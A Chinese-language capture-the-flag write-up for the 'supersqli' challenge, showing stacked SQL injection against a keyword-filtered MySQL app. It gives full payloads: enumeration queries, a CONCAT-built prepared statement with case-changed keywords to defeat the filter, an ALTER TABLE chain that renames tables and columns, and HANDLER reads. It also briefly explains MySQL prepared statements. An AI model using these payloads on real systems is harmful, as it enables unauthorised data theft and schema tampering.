supersqli
一般sql语句的题都是先判断,经过测试,是单引号注入
999' union select database(),2#
可以发现很多关键字都被过滤了select
,所以联合查询,报错注入,布尔和时间盲注都不能用了,可以想到堆叠注入。
1';show databases;#
1'; show tables;#
1';show columns from `19198109311145`;#
纯数字的表需要加上引号
然后我们要知道如何拿到这个列中的flag的数据
我记得之前我是做过的,还是卡在了这里QAQ
攻防世界(六)supersqli - HUGBOY - 博客园 (cnblogs.com)
法1 预编译
预编译的语句是什么?
通常一条sql在db接收到并且最终执行完成可以分为以下三个部分:
- 语义和词法的解析
- 优化sql语句,制定执行计划
- 执行并且返回结果
我们将这种语句称为Immediate Statements
但是很多情况,我们的一条sql语句可能会被反复执行,或者每次执行的时候只有个别的值是不同的(比如query的where字句值不同,update的set子句,insert的value值),如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。
所谓预编译语句就是将这类语句中的值用占位符替代,可以视为将sql语句模板化或者说参数化,一般称这类语句叫Prepared Statements或者Parameterized Statements预编译语句的优势在于归纳为:**一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止sql注入。**当然就优化来说,很多时候最优的执行计划不是光靠知道sql语句的模板就能决定了,往往就是需要通过具体值来预估出成本代价
MySQL的预编译功能
注意MySQL的老版本(4.1之前)是不支持服务端预编译的,但基于目前业界生产环境普遍情况,基本可以认为MySQL支持服务端预编译。
下面我们来看一下MySQL中预编译语句的使用。
首先我们有一张测试表t,结构如下所示:
mysql> show create table t\G
*************************** 1. row ***************************
Table: t
Create Table: CREATE TABLE `t` (
`a` int(11) DEFAULT NULL,
`b` varchar(20) DEFAULT NULL,
UNIQUE KEY `ab` (`a`,`b`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8
1 row in set (0.00 sec)
3.1 编译
我们接下来通过 PREPARE stmt_name FROM preparable_stm
的语法来预编译一条sql语句
mysql> prepare ins from 'insert into t select ?,?';
Query OK, 0 rows affected (0.00 sec)
Statement prepared
3.2 执行
我们通过EXECUTE stmt_name [USING @var_name [, @var_name] ...]
的语法来执行预编译语句
mysql> set @a=999,@b='hello';
Query OK, 0 rows affected (0.00 sec)
mysql> execute ins using @a,@b;
Query OK, 1 row affected (0.01 sec)
Records: 1 Duplicates: 0 Warnings: 0
mysql> select * from t;
+------+-------+
| a | b |
+------+-------+
| 999 | hello |
+------+-------+
1 row in set (0.00 sec)
可以看到,数据已经被成功插入表中。
MySQL中的预编译语句作用域是session级,但我们可以通过max_prepared_stmt_count变量来控制全局最大的存储的预编译语句。
mysql> set @@global.max_prepared_stmt_count=1;
Query OK, 0 rows affected (0.00 sec)
mysql> prepare sel from 'select * from t';
ERROR 1461 (42000): Can't create more than max_prepared_stmt_count statements (current value: 1)
当预编译条数已经达到阈值时可以看到MySQL会报如上所示的错误。
3.3 释放
如果我们想要释放一条预编译语句,则可以使用{DEALLOCATE | DROP} PREPARE stmt_name
的语法进行操作:
mysql> deallocate prepare ins;
Query OK, 0 rows affected (0.00 sec)
okk,现在我们要执行的是
select * from `1919810931114514`;
预编译的语法:
set 用于设置变量和值
prepare 用于预备一个语句,并赋予名称,以后可以引用到该语句
execute 执行语句
deallocate prepare 用来释放掉预处理的语句
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
拆分开来如下
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
#
发现弹出来了
这里是用strstr
检测到了set
和prepare
关键字,但是strstr
这个函数并不能区分大小写,所以可以用大小写将其绕过
-1';
Set @sql = CONCAT('se','lect * from `1919810931114514`;');
Prepare stmt from @sql;
EXECUTE stmt;
法二 更改表名和列名
1';show columns from words;
words表中有两个字段 id 、data。其中id为整形int(10)、data为字符型varchar(100),而数字表中只有一个字段
后台的查询语可能是:
select * from words where id=
所以我们可以将表1919810931114514名字改成words,将flag列的名字改成id或者data,就可以得到flag的内容了
words名改为word123 alter table words rename to words123;
把数字表名改为 words alter table `1919810931114514` rename to words;
现在的words表中没有id字段,我们把flag字段名改为id alter table words change flag id varchar(100);
构造的语句为
1'; alter table words rename to words123;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);#
最后还要
1' or 1=1#
法三 handler语句代替select查询
handler的用法
handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
...
handler yunensec close; #关闭句柄
所以
1';
handler `1919810931114514` open as cyan;
handler cyan read first;
handler cyan close;#
最后
1' or 1=1#